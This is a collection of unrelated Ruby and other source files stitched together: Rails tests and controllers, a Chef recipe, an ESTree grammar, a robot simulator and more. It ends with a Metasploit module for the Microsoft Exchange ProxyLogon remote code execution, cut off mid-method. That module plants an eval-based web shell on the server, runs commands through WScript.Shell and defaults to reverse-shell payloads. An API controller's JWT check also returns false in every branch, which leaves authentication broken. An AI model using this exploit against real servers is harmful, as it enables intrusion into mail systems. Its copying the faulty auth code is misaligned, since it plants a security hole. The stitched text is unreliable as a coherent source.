require "application_system_test_case" class ShoppingListItemsTest < ApplicationSystemTestCase setup do @shopping_list_item = shopping_list_items(:one) end test "visiting the index" do visit shopping_list_items_url assert_selector "h1", text: "Shopping List Items" end test "creating a Shopping list item" do visit shopping_list_items_url click_on "New Shopping List Item" fill_in "Ingredient", with: @shopping_list_item.ingredient_id fill_in "Meal plan", with: @shopping_list_item.meal_plan_id fill_in "Sum qty", with: @shopping_list_item.sum_qty check "Ticked" if @shopping_list_item.ticked fill_in "Unit", with: @shopping_list_item.unit click_on "Create Shopping list item" assert_text "Shopping list item was successfully created" click_on "Back" end test "updating a Shopping list item" do visit shopping_list_items_url click_on "Edit", match: :first fill_in "Ingredient", with: @shopping_list_item.ingredient_id fill_in "Meal plan", with: @shopping_list_item.meal_plan_id fill_in "Sum qty", with: @shopping_list_item.sum_qty check "Ticked" if @shopping_list_item.ticked fill_in "Unit", with: @shopping_list_item.unit click_on "Update Shopping list item" assert_text "Shopping list item was successfully updated" click_on "Back" end test "destroying a Shopping list item" do visit shopping_list_items_url page.accept_confirm do click_on "Destroy", match: :first end assert_text "Shopping list item was successfully destroyed" end end
class Api::UsersController < Api::ApplicationController before_action :auth_user, only: [:index, :update, :destroy, :following, :followers] before_action :correct_user, only: :update before_action :admin_user, only: :destroy def index @users = User.where(activated: true).paginate(page: params[:page]) end def show @user = current_user @microposts = @user.microposts.paginate(page: params[:page]) end def create user = User.new(user_params) if user.save user.send_activation_email render json: user, status: :created else render json: user.errors.messages, status: :unprocessable_entity end end def update @user = current_user if @user.update_attributes(user_params) render json: @user, status: :ok else render json: @user.errors.messages, status: :unprocessable_entity end end def destroy User.find_by(id: params[:id]).try(:destroy) render body: nil, status: :ok end def following @title = 'Following' @user = current_user @users = @user.following.paginate(page: params[:page]) render template: 'api/users/show_follow' end def followers @title = 'Followers' @user = current_user @users = @user.followers.paginate(page: params[:page]) render template: 'api/users/show_follow' end private def user_params params.require(:user).permit(:name, :email, :password, :password_confirmation) end def correct_user @user = current_user render body: nil, status: :bad_request unless current_user?(@user) end def admin_user render body: nil, status: :bad_request unless current_user.admin? end def auth_user auth_header = request.authorization render body: nil, status: :unauthorized and return if auth_header.nil? token = auth_header.split(" ").last key = Rails.application.secrets[:secret_key_base] begin JWT.decode token, key, 'HS256' rescue JWT::ExpiredSignature return false rescue JWT::InvalidIssuerError return false else return false end end end
module VulnTemplates module Helpers private module Curl def headers(http_response) res = "" res += "HTTP/#{http_response.http_version} #{http_response.code} #{http_response.msg}\n" http_response.header.each_header do |key,value| res += "#{key.capitalize}: #{value}\n" end res[0...-1] end def curl(params) params = { :url => '/', :protocol => :http, :port => 80 }.merge(params) if !params[:host] raise ArgumentError, 'Missing host' end hash = {} hash[:cmd] = '$ curl -k -g' if params[:vhost] str = "Host: #{params[:vhost]}" hash[:vhost] = "-H #{wq(str)}" end curl_I = false if params[:curl_params] params[:curl_params].each do |k,v| hash['curl_' + k.to_s] = v curl_I = true if v == '-I' end end hash['curl_-L'] = '-L' unless curl_I if params[:form_data] data = '' params[:form_data].each do |param, value| data += "#{param}=#{CGI.escape(value)}&" end data = data[0...-1] hash[:post_data] = "--data #{wq(data)}" params[:headers] ||= {} params[:headers]['Content-Type'] = 'application/x-www-form-urlencoded' end if params[:headers] params[:headers].delete_if { |k, _| k =~ /Content-Length/i } params[:headers].each do |k,v| str = "#{k}: #{v}" hash['header_' + k.to_s] = "-H #{wq(str)}" end end hash[:url] = "#{params[:protocol]}://#{params[:host]}:#{params[:port]}#{params[:url]}" case params[:method] when :get if params[:get_params] hash[:url] += '?' params[:get_params].each do |param, value| hash[:url] += "#{param}=#{value}&" end hash[:url] = hash[:url][0...-1] end when :post hash[:post_data] = "--data #{wq(params[:post_data])}" when :options hash[:cmd] << ' -X OPTIONS' else # nothing to do end if params[:path_as_is] hash[:cmd] << ' --path-as-is' end hash[:url] = wq(hash[:url]) result = hash.each_value.to_a.join(' ') if params[:resp_headers] if params[:resp_headers].is_a? Net::HTTPResponse result += "\n\n" result += headers(params[:resp_headers]) else result += "\n\n" result += params[:resp_headers] end end if params[:grep_params] grep_regexp = params[:grep_params][:grep_regexp] grep_command = ' | grep %{grep_args} "%{grep_regexp}"' grep_args = if params[:grep_params][:pzo] == true '-Pzo' elsif params[:grep_params][:o] == true '-Eao' else '-Ea' end result += format(grep_command, { grep_args: grep_args, grep_regexp: grep_regexp }) end if params[:resp] result += "\n\n" result += params[:resp].gsub("\r\n", "\n") end return result end private def wq(str) str ||= '' str = str.gsub('\\', %q[\&\&]) str = str.gsub('"') { %q[\\"] } str = str.gsub('$') { %q[\\$] } str = str.gsub('`') { %q[\\`] } str = str.gsub('!') { %q["'!'"] } str = str.gsub("\n") { '"$\'\n\'"' } '"' + str + '"' end end end end
module BundlerOutdatedRequiredGems class Analyzer def find_outdated_required_gems say "getting outdated gems via 'bundle outdated' ..." bundler_outdated_gems = extract_outdated_gems(bundle_outdated) say "found #{bundler_outdated_gems.size} gems:\n#{formatted_gem_line(bundler_outdated_gems)}" if debug? say "getting required gems from Gemfile ..." required_gem_names = Bundler.definition.current_dependencies.map(&:name) say "found #{required_gem_names.size} gems:\n#{required_gem_names.join("\n")}" if debug? outdated_and_required_gems = bundler_outdated_gems.select { |gem| required_gem_names.include?(gem.gem_name) } say "found #{outdated_and_required_gems.size} required and outdated gems (#{bundler_outdated_gems.size} outdated gems overall)." say "Gems to be updated:\n#{formatted_gem_line(outdated_and_required_gems)}" end def extract_outdated_gems(bundler_output) outdated_gems = [] bundler_output.each_line do |line| if line.strip[0] == '*' # The regexp extract the following parts: # " * coffee-script-source (1.6.1 > 1.3.3)" # gemname: coffee-script-source # newversion: 1.6.1 # oldversion: 1.3.3 md = /\s+\*\s+(?<gemname>[\w-]+)\s+\((?<newversion>.+)\s+\>\s+(?<oldversion>.+)\).*/.match(line) outdated_gems << Gem.new(gem_name: md['gemname'], old_version: md['oldversion'], new_version: md['newversion']) end end outdated_gems end def formatted_gem_line(gems) gems.map { |gem| "#{gem.gem_name} (#{gem.new_version} > #{gem.old_version})" }.join("\n") end def bundle_outdated run("bundle outdated") end def run(command, options = {}) `#{command}` end def say(msg) puts "-> #{msg}" end def debug? ENV['DEBUG'] end end end
module RhodeIsland module ActiveRecordExtensions extend ActiveSupport::Concern included do end module ClassMethods def has_state_machine(states) send :include, InstanceMethods class_eval do states.each do |state| define_method :"is_#{state}?" do self.state == state.to_s end unless self.respond_to?(:"is_#{state}?") define_method :"make_#{state}" do self.make(state) end define_method :"make_#{state}!" do self.make!(state) end end end end end module InstanceMethods def make(new_state) old_state = self.state before_leaving_method_name = :"before_leaving_#{old_state}" before_entering_method_name = :"before_making_#{new_state}" self.send(before_leaving_method_name) if self.respond_to?(before_leaving_method_name) self.send(before_entering_method_name) if self.respond_to?(before_entering_method_name) self.state = new_state new_state end def make!(new_state) self.make(new_state) self.save! end end end end ActiveRecord::Base.send :include, RhodeIsland::ActiveRecordExtensions
require 'spec_helper' require 'app/workers/webhook_worker' describe WebhookWorker do %w[beer brewery event guild location].each do |klass| it "creates a #{klass} webhook given a set of params" do params = { 'type' => klass, 'action' => 'edit', 'attributeId' => 'fake', 'subAction' => 'socialAccountInsert' } options = { action: params['action'], id: params['attributeId'], sub_action: params['subAction'].underscore } mock = double("BreweryDB::Webhooks::#{klass.classify}", process: true) klass = BreweryDB::Webhooks::const_get(klass.classify) expect(klass).to receive(:new).with(options).and_return(mock) WebhookWorker.new.perform(params) end end end
// From es5 interface Node { type: string; loc: SourceLocation | null; } interface SourceLocation { source: string | null; start: Position; end: Position; } interface Position { line: number; // >= 1 column: number; // >= 0 } interface Identifier <: Expression, Pattern { type: "Identifier"; name: string; } interface Literal <: Expression { type: "Literal"; value: string | boolean | null | number | RegExp; } interface RegExpLiteral <: Literal { regex: { pattern: string; flags: string; }; } interface Program <: Node { type: "Program"; body: [ Directive | Statement ]; } interface Function <: Node { id: Identifier | null; params: [ Pattern ]; body: FunctionBody; } interface Statement <: Node { } interface ExpressionStatement <: Statement { type: "ExpressionStatement"; expression: Expression; } interface Directive <: Node { type: "ExpressionStatement"; expression: Literal; directive: string; } interface BlockStatement <: Statement { type: "BlockStatement"; body: [ Statement ]; } interface FunctionBody <: BlockStatement { body: [ Directive | Statement ]; } interface EmptyStatement <: Statement { type: "EmptyStatement"; } interface DebuggerStatement <: Statement { type: "DebuggerStatement"; } interface WithStatement <: Statement { type: "WithStatement"; object: Expression; body: Statement; } interface ReturnStatement <: Statement { type: "ReturnStatement"; argument: Expression | null; } interface LabeledStatement <: Statement { type: "LabeledStatement"; label: Identifier; body: Statement; } interface BreakStatement <: Statement { type: "BreakStatement"; label: Identifier | null; } interface ContinueStatement <: Statement { type: "ContinueStatement"; label: Identifier | null; } interface IfStatement <: Statement { type: "IfStatement"; test: Expression; consequent: Statement; alternate: Statement | null; } interface SwitchStatement <: Statement { type: "SwitchStatement"; discriminant: Expression; cases: [ SwitchCase ]; } interface SwitchCase <: Node { type: "SwitchCase"; test: Expression | null; consequent: [ Statement ]; } interface ThrowStatement <: Statement { type: "ThrowStatement"; argument: Expression; } interface TryStatement <: Statement { type: "TryStatement"; block: BlockStatement; handler: CatchClause | null; finalizer: BlockStatement | null; } interface CatchClause <: Node { type: "CatchClause"; param: Pattern; body: BlockStatement; } interface WhileStatement <: Statement { type: "WhileStatement"; test: Expression; body: Statement; } interface DoWhileStatement <: Statement { type: "DoWhileStatement"; body: Statement; test: Expression; } interface ForStatement <: Statement { type: "ForStatement"; init: VariableDeclaration | Expression | null; test: Expression | null; update: Expression | null; body: Statement; } interface ForInStatement <: Statement { type: "ForInStatement"; left: VariableDeclaration | Pattern; right: Expression; body: Statement; } interface Declaration <: Statement { } interface FunctionDeclaration <: Function, Declaration { type: "FunctionDeclaration"; id: Identifier; } interface VariableDeclaration <: Declaration { type: "VariableDeclaration"; declarations: [ VariableDeclarator ]; kind: "var"; } interface VariableDeclarator <: Node { type: "VariableDeclarator"; id: Pattern; init: Expression | null; } interface Expression <: Node { } interface ThisExpression <: Expression { type: "ThisExpression"; } interface ArrayExpression <: Expression { type: "ArrayExpression"; elements: [ Expression | null ]; } interface ObjectExpression <: Expression { type: "ObjectExpression"; properties: [ Property ]; } interface Property <: Node { type: "Property"; key: Literal | Identifier; value: Expression; kind: "init" | "get" | "set"; } interface FunctionExpression <: Function, Expression { type: "FunctionExpression"; } interface UnaryExpression <: Expression { type: "UnaryExpression"; operator: UnaryOperator; prefix: boolean; argument: Expression; } enum UnaryOperator { "-" | "+" | "!" | "~" | "typeof" | "void" | "delete" } interface UpdateExpression <: Expression { type: "UpdateExpression"; operator: UpdateOperator; argument: Expression; prefix: boolean; } enum UpdateOperator { "++" | "--" } interface BinaryExpression <: Expression { type: "BinaryExpression"; operator: BinaryOperator; left: Expression; right: Expression; } enum BinaryOperator { "==" | "!=" | "===" | "!==" | "<" | "<=" | ">" | ">=" | "<<" | ">>" | ">>>" | "+" | "-" | "*" | "/" | "%" | "|" | "^" | "&" | "in" | "instanceof" } interface AssignmentExpression <: Expression { type: "AssignmentExpression"; operator: AssignmentOperator; left: Pattern | Expression; right: Expression; } enum AssignmentOperator { "=" | "+=" | "-=" | "*=" | "/=" | "%=" | "<<=" | ">>=" | ">>>=" | "|=" | "^=" | "&=" } interface LogicalExpression <: Expression { type: "LogicalExpression"; operator: LogicalOperator; left: Expression; right: Expression; } enum LogicalOperator { "||" | "&&" } interface MemberExpression <: Expression, Pattern { type: "MemberExpression"; object: Expression; property: Expression; computed: boolean; } interface ConditionalExpression <: Expression { type: "ConditionalExpression"; test: Expression; alternate: Expression; consequent: Expression; } interface CallExpression <: Expression { type: "CallExpression"; callee: Expression; arguments: [ Expression ]; } interface NewExpression <: Expression { type: "NewExpression"; callee: Expression; arguments: [ Expression ]; } interface SequenceExpression <: Expression { type: "SequenceExpression"; expressions: [ Expression ]; } interface Pattern <: Node { } // From es2015 extend interface Program { sourceType: "script" | "module"; body: [ Statement | ModuleDeclaration ]; } extend interface Function { generator: boolean; } interface ForOfStatement <: ForInStatement { type: "ForOfStatement"; } extend interface VariableDeclaration { kind: "var" | "let" | "const"; } interface Super <: Node { type: "Super"; } extend interface CallExpression { callee: Expression | Super; } extend interface MemberExpression { object: Expression | Super; } interface SpreadElement <: Node { type: "SpreadElement"; argument: Expression; } extend interface ArrayExpression { elements: [ Expression | SpreadElement | null ]; } extend interface CallExpression { arguments: [ Expression | SpreadElement ]; } extend interface NewExpression { arguments: [ Expression | SpreadElement ]; } extend interface AssignmentExpression { left: Pattern; } extend interface Property { key: Expression; method: boolean; shorthand: boolean; computed: boolean; } interface ArrowFunctionExpression <: Function, Expression { type: "ArrowFunctionExpression"; body: FunctionBody | Expression; expression: boolean; } interface YieldExpression <: Expression { type: "YieldExpression"; argument: Expression | null; delegate: boolean; } interface TemplateLiteral <: Expression { type: "TemplateLiteral"; quasis: [ TemplateElement ]; expressions: [ Expression ]; } interface TaggedTemplateExpression <: Expression { type: "TaggedTemplateExpression"; tag: Expression; quasi: TemplateLiteral; } interface TemplateElement <: Node { type: "TemplateElement"; tail: boolean; value: { cooked: string; raw: string; }; } interface AssignmentProperty <: Property { type: "Property"; // inherited value: Pattern; kind: "init"; method: false; } interface ObjectPattern <: Pattern { type: "ObjectPattern"; properties: [ AssignmentProperty ]; } interface ArrayPattern <: Pattern { type: "ArrayPattern"; elements: [ Pattern | null ]; } interface RestElement <: Pattern { type: "RestElement"; argument: Pattern; } interface AssignmentPattern <: Pattern { type: "AssignmentPattern"; left: Pattern; right: Expression; } interface Class <: Node { id: Identifier | null; superClass: Expression | null; body: ClassBody; } interface ClassBody <: Node { type: "ClassBody"; body: [ MethodDefinition ]; } interface MethodDefinition <: Node { type: "MethodDefinition"; key: Expression; value: FunctionExpression; kind: "constructor" | "method" | "get" | "set"; computed: boolean; static: boolean; } interface ClassDeclaration <: Class, Declaration { type: "ClassDeclaration"; id: Identifier; } interface ClassExpression <: Class, Expression { type: "ClassExpression"; } interface MetaProperty <: Expression { type: "MetaProperty"; meta: Identifier; property: Identifier; } interface ModuleDeclaration <: Node { } interface ModuleSpecifier <: Node { local: Identifier; } interface ImportDeclaration <: ModuleDeclaration { type: "ImportDeclaration"; specifiers: [ ImportSpecifier | ImportDefaultSpecifier | ImportNamespaceSpecifier ]; source: Literal; } interface ImportSpecifier <: ModuleSpecifier { type: "ImportSpecifier"; imported: Identifier; } interface ImportDefaultSpecifier <: ModuleSpecifier { type: "ImportDefaultSpecifier"; } interface ImportNamespaceSpecifier <: ModuleSpecifier { type: "ImportNamespaceSpecifier"; } interface ExportNamedDeclaration <: ModuleDeclaration { type: "ExportNamedDeclaration"; declaration: Declaration | null; specifiers: [ ExportSpecifier ]; source: Literal | null; } interface ExportSpecifier <: ModuleSpecifier { type: "ExportSpecifier"; exported: Identifier; } interface AnonymousDefaultExportedFunctionDeclaration <: Function { type: "FunctionDeclaration"; id: null; } interface AnonymousDefaultExportedClassDeclaration <: Class { type: "ClassDeclaration"; id: null; } interface ExportDefaultDeclaration <: ModuleDeclaration { type: "ExportDefaultDeclaration"; declaration: AnonymousDefaultExportedFunctionDeclaration | FunctionDeclaration | AnonymousDefaultExportedClassDeclaration | ClassDeclaration | Expression; } interface ExportAllDeclaration <: ModuleDeclaration { type: "ExportAllDeclaration"; source: Literal; } // From es2016 extend enum BinaryOperator { "**" } extend enum AssignmentOperator { "**=" } // From es2017 extend interface Function { async: boolean; } interface AwaitExpression <: Expression { type: "AwaitExpression"; argument: Expression; } // From es2018 extend interface ForOfStatement { await: boolean; } extend interface ObjectExpression { properties: [ Property | SpreadElement ]; } extend interface TemplateElement { value: { cooked: string | null; raw: string; }; } extend interface ObjectPattern { properties: [ AssignmentProperty | RestElement ]; } // From es2019 extend interface CatchClause { param: Pattern | null; } // From es2020 extend interface Literal <: Expression { type: "Literal"; value: string | boolean | null | number | RegExp | bigint; } interface BigIntLiteral <: Literal { bigint: string; } interface ImportExpression <: Expression { type: "ImportExpression"; source: Expression; } extend enum LogicalOperator { "||" | "&&" | "??" } extend interface ExportAllDeclaration { exported: Identifier | null; }
FactoryBot.define do factory :address do zip_code { "12345"} factory :us_address do country { "United States" } state_province { CS.states(:us).values.sample} end factory :non_us_address do country { CS.countries.values.sample } state_province { Faker::Address.state } end end end
class Survivor include Mongoid::Document INFECTION_MAX = 3 # Survivor's fields field :name, type: String field :age, type: String field :gender, type: String field :last_location, type: Hash field :infection_count, type: Integer, default: 0 # Relationships has_many :resources accepts_nested_attributes_for :resources # Validations validates :name, :age, :gender, :last_location, :resources, :presence => true def infected? infection_count >= INFECTION_MAX end def has_enough_resources?(resources) resources.each do |resource| return false if resources_count(resource) < resource['quantity'].to_i end return true end def resources_count(resource) survivor_resource = self.resources.find_by(type: resource['type']) survivor_resource.present? ? survivor_resource.quantity : 0 end def transfer_resource_to(target_survivor, resources) resources.each do |resource, quantity| self.resources.find_by(type: resource['type']).inc(quantity: -resource['quantity']) target_survivor.resources.find_or_create_by(type: resource['type']).inc(quantity: -resource['quantity']) end end scope :infecteds, -> do where(:infection_count.gte => 3) end scope :not_infecteds, -> do where(:infection_count.lt => 3) end end
# # Cookbook Name:: nginx # Recipe:: default # # Copyright 2016, YOUR_COMPANY_NAME # # All rights reserved - Do Not Redistribute # package "nginx" do action :install end web_servers = search(:node, 'role:"webserver"') template "/etc/nginx/nginx.conf" do source "nginx.conf.erb" mode "0644" notifies :restart, "service[nginx]" variables( :web_servers => web_servers ) end service "nginx" do action [ :enable, :start ] end
module Spree module Api module Serializable def meta_for(object) meta = {} if object.respond_to?('total_pages') meta[:count] = object.count meta[:total_count] = object.total_count meta[:current_page] = params[:page] ? params[:page].to_i : 1 meta[:per_page] = params[:per_page] || Kaminari.config.default_per_page meta[:pages] = object.total_pages end meta end def modify_options(object, options) if object.is_a?(ActiveRecord::Relation) options[:root] = object.name.underscore.split('/')[-1].to_s.pluralize unless options[:root] options[:include_root] = true elsif object.is_a?(ActiveRecord::Base) options[:root] = object.class.model_name.to_s.underscore.split('/')[-1].to_s options[:include_root] = !!options[:include_root] end options.merge(pagination: meta_for(object), json: object) end def respond_with(object = nil, options = {}) options.merge!(params) options = modify_options(object, options) render options end end end end
#!/usr/bin/env ruby class String #Test if a string is wholly number def numeric? return true if self =~ /^\d+$/ true if Float(self) rescue false end end class Table def initialize @top_edge = 4 @bottom_edge = 0 @left_edge = 0 @right_edge = 4 end #Is this a valid placement on the table? def place_valid?(test_x, test_y) if test_x > @right_edge or test_x < @left_edge or test_y > @top_edge or test_y < @bottom_edge false else true end end def north_edge? @top_edge end def south_edge? @bottom_edge end def east_edge? @right_edge end def west_edge? @left_edge end end class Instructions def initialize @exit = false @commands = ['place', 'move', 'left', 'right', 'report'] @directions = ['north', 'south', 'east', 'west'] @my_table = Table.new end def get(robot_x, robot_y, robot_direction) print "Instruction: " instruction_line = Kernel.gets.chomp if instruction_line.length == 0 #Exit program if nothing put in line @exit = true else #Instructions were put in, so process them instruction_line.downcase! command = instruction_line.split[0] #Get the first part if @commands.include? command #run through commands if command == "place" #If this is a place command check and execute the placement place(instruction_line) else if robot_x != -1 #-1 means robit not yet on the table, so don't bother, otherwise check commands case command when "report" #Just report on where we are puts "Output: #{robot_x}, #{robot_y}, #{robot_direction}" when "move" #Check and process the move command move(robot_x, robot_y, robot_direction) when 'left' #Turn the robot left left(robot_x, robot_y, robot_direction) when 'right' #Turn the robot right right(robot_x, robot_y, robot_direction) end end end end end end #Place the robot on the table def place(i_line) command = i_line.split(' ', 2) if !command[1].nil? if command[1].count(',') == 2 #This is the right number of commas place = command[1].split(',') return if !place[0].numeric? #Not a number? initial_x = place[0].to_i return if !place[1].numeric? #Not a number? initial_y = place[1].to_i place[2].strip! return if !@directions.include? place[2] #Do we have a valid direction? #Test if the placement is on the table if @my_table.place_valid?(initial_x, initial_y) # If the place is valid, reset the variables @x = initial_x @y = initial_y @direction = place[2].upcase end end end end #Move in the direction indicated def move(r_x, r_y, r_d) case r_d when 'NORTH' return if r_y == @my_table.north_edge? #Do nothing at the north edge @y = r_y + 1 @x = r_x @direction = r_d when 'SOUTH' return if r_y == @my_table.south_edge? #Do nothing at the south edge @y = r_y - 1 @x = r_x @direction = r_d when 'EAST' return if r_x == @my_table.east_edge? #Do nothing at the east edge @x = r_x + 1 @y = r_y @direction = r_d when 'WEST' return if r_x == @my_table.west_edge? #Do nothing at the west edge @x = r_x - 1 @y = r_y @direction = r_d end end #Turn left def left(r_x, r_y, r_d) case r_d when 'NORTH' @direction = "WEST" when 'SOUTH' @direction = "EAST" when 'EAST' @direction = "NORTH" when 'WEST' @direction = "SOUTH" end @x = r_x @y = r_y end #Turn right def right(r_x, r_y, r_d) case r_d when 'NORTH' @direction = "EAST" when 'SOUTH' @direction = "WEST" when 'EAST' @direction = "SOUTH" when 'WEST' @direction = "NORTH" end @x = r_x @y = r_y end #Return if exit is true or false def exit? @exit end def x? @x end def y? @y end def direction? @direction end end class Robot def initialize #Initially not on the table @x = -1 @y = -1 @direction = "" end def x? @x end def y? @y end def direction? @direction end #Store the new co-ordinates def set(i_x, i_y, i_d) @x = i_x @y = i_y @direction = i_d end end my_robot = Robot.new begin instruction_line = Instructions.new instruction_line.get(my_robot.x?, my_robot.y?, my_robot.direction?) my_robot.set(instruction_line.x?, instruction_line.y?, instruction_line.direction?) if !instruction_line.x?.nil? end while !instruction_line.exit?
require 'rails_helper' RSpec.describe 'Merchant add coupon' do describe 'as a merchant employee' do before :each do @merchant_1 = create :merchant @merchant_user = create :random_merchant_user, merchant: @merchant_1 @coupon = create :coupon, merchant: @merchant_1 allow_any_instance_of(ApplicationController).to receive(:current_user).and_return(@merchant_user) end it 'has a link to add coupons' do visit '/merchant' click_on 'Add Coupon' expect(current_path).to eq('/merchant/coupons/new') end it 'can create a coupon when form is submitted' do visit '/merchant/coupons/new' fill_in :name, with: 'Coupon1' fill_in :code, with: 'epsteindidnotkillhimself' fill_in :percent_off, with: '15' click_button 'Add Coupon' coupon = Coupon.last expect(current_path).to eq('/merchant/coupons') within "#coupon-#{coupon.id}" do expect(page).to have_content('Coupon1') expect(page).to have_content('epsteindidnotkillhimself') expect(page).to have_content('15') end end it 'can visit a page containing list of all coupons' do visit '/merchant/coupons' expect(page).to have_content(@coupon.name) expect(page).to have_content(@coupon.code) expect(page).to have_content(@coupon.percent_off) end it 'will fail to add coupon if field is blank' do visit '/merchant/coupons/new' fill_in :name, with: 'Name' fill_in :percent_off, with: '12' click_button 'Add Coupon' expect(current_path).to eq('/merchant/coupons/new') expect(page).to have_content("Code can't be blank") end it 'will fail to add coupon if name is not unique' do visit '/merchant/coupons/new' fill_in :name, with: @coupon.name fill_in :code, with: 'thisisacode' fill_in :percent_off, with: '12' click_button 'Add Coupon' expect(current_path).to eq('/merchant/coupons/new') expect(page).to have_content("Name has already been taken") end it 'will fail to add coupon if code is not unique' do visit '/merchant/coupons/new' fill_in :name, with: 'Name' fill_in :code, with: @coupon.code fill_in :percent_off, with: '12' click_button 'Add Coupon' expect(current_path).to eq('/merchant/coupons/new') expect(page).to have_content("Code has already been taken") end it 'can create coupon that is one use only' do visit '/merchant/coupons/new' fill_in :name, with: 'Coupon1' fill_in :code, with: 'epsteindidnotkillhimself' fill_in :percent_off, with: '15' page.check(:one_use?) click_button 'Add Coupon' coupon = Coupon.last expect(current_path).to eq('/merchant/coupons') within "#coupon-#{coupon.id}" do expect(page).to have_content('Coupon1') expect(page).to have_content('epsteindidnotkillhimself') expect(page).to have_content('15') end end end end
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Powershell include Msf::Exploit::Remote::CheckModule include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Exchange ProxyLogon RCE', 'Description' => %q{ This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default. }, 'Author' => [ 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC) 'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull) 'mekhalleh (RAMELLA Sébastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise) 'print("")', # https://www.o2oxy.cn/3169.html 'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691 ], 'References' => [ ['CVE', '2021-26855'], ['CVE', '2021-27065'], ['LOGO', 'https://proxylogon.com/images/logo.jpg'], ['URL', 'https://proxylogon.com/'], ['URL', 'http://aka.ms/exchangevulns'], ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'], [ 'URL', 'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265' ], ['URL', 'https://www.o2oxy.cn/3169.html'], ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup'] ], 'DisclosureDate' => '2021-03-02', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon', 'HttpClientTimeout' => 60, 'RPORT' => 443, 'SSL' => true, 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }, 'Platform' => ['windows'], 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], 'Privileged' => true, 'Targets' => [ [ 'Windows Powershell', { 'Platform' => 'windows', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :windows_powershell, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'windows', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :windows_dropper, 'CmdStagerFlavor' => %i[psh_invokewebrequest], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest' } } ], [ 'Windows Command', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD], 'Type' => :windows_command, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'AKA' => ['ProxyLogon'] } ) ) register_options([ OptString.new('EMAIL', [true, 'A known email address for this organization']), OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]), OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]) ]) register_advanced_options([ OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']), OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']), OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']), OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']), OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']), OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]), OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0']) ]) end def cmd_windows_generic? datastore['PAYLOAD'] == 'cmd/windows/generic' end def encode_cmd(cmd) cmd.gsub('\\', '\\\\\\') cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b') end def execute_command(cmd, _opts = {}) cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());" send_request_raw( 'method' => 'POST', 'uri' => normalize_uri(web_directory, @random_filename), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "#{@random_inputname}=#{cmd}" ) end def install_payload(exploit_info) # exploit_info: [server_name, sid, session, canary, oab_id] input_name = rand_text_alpha(4..8).to_s shell = "http://o/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{input_name}\"],\"unsafe\");}</script>" data = { 'identity': { '__type': 'Identity:ECP', 'DisplayName': (exploit_info[4][0]).to_s, 'RawIdentity': (exploit_info[4][1]).to_s }, 'properties': { 'Parameters': { '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', 'ExternalUrl': shell.to_s } } }.to_json response = send_http( 'POST', "Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}", data: data, cookie: exploit_info[2], ctype: 'application/json; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(exploit_info[1]), 'msExchTargetMailbox' => patch_sid(exploit_info[1]), 'X-vDirObjectId' => (exploit_info[4][1]).to_s } ) return '' if response.code != 200 input_name end def message(msg) "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}" end def patch_sid(sid) ar = 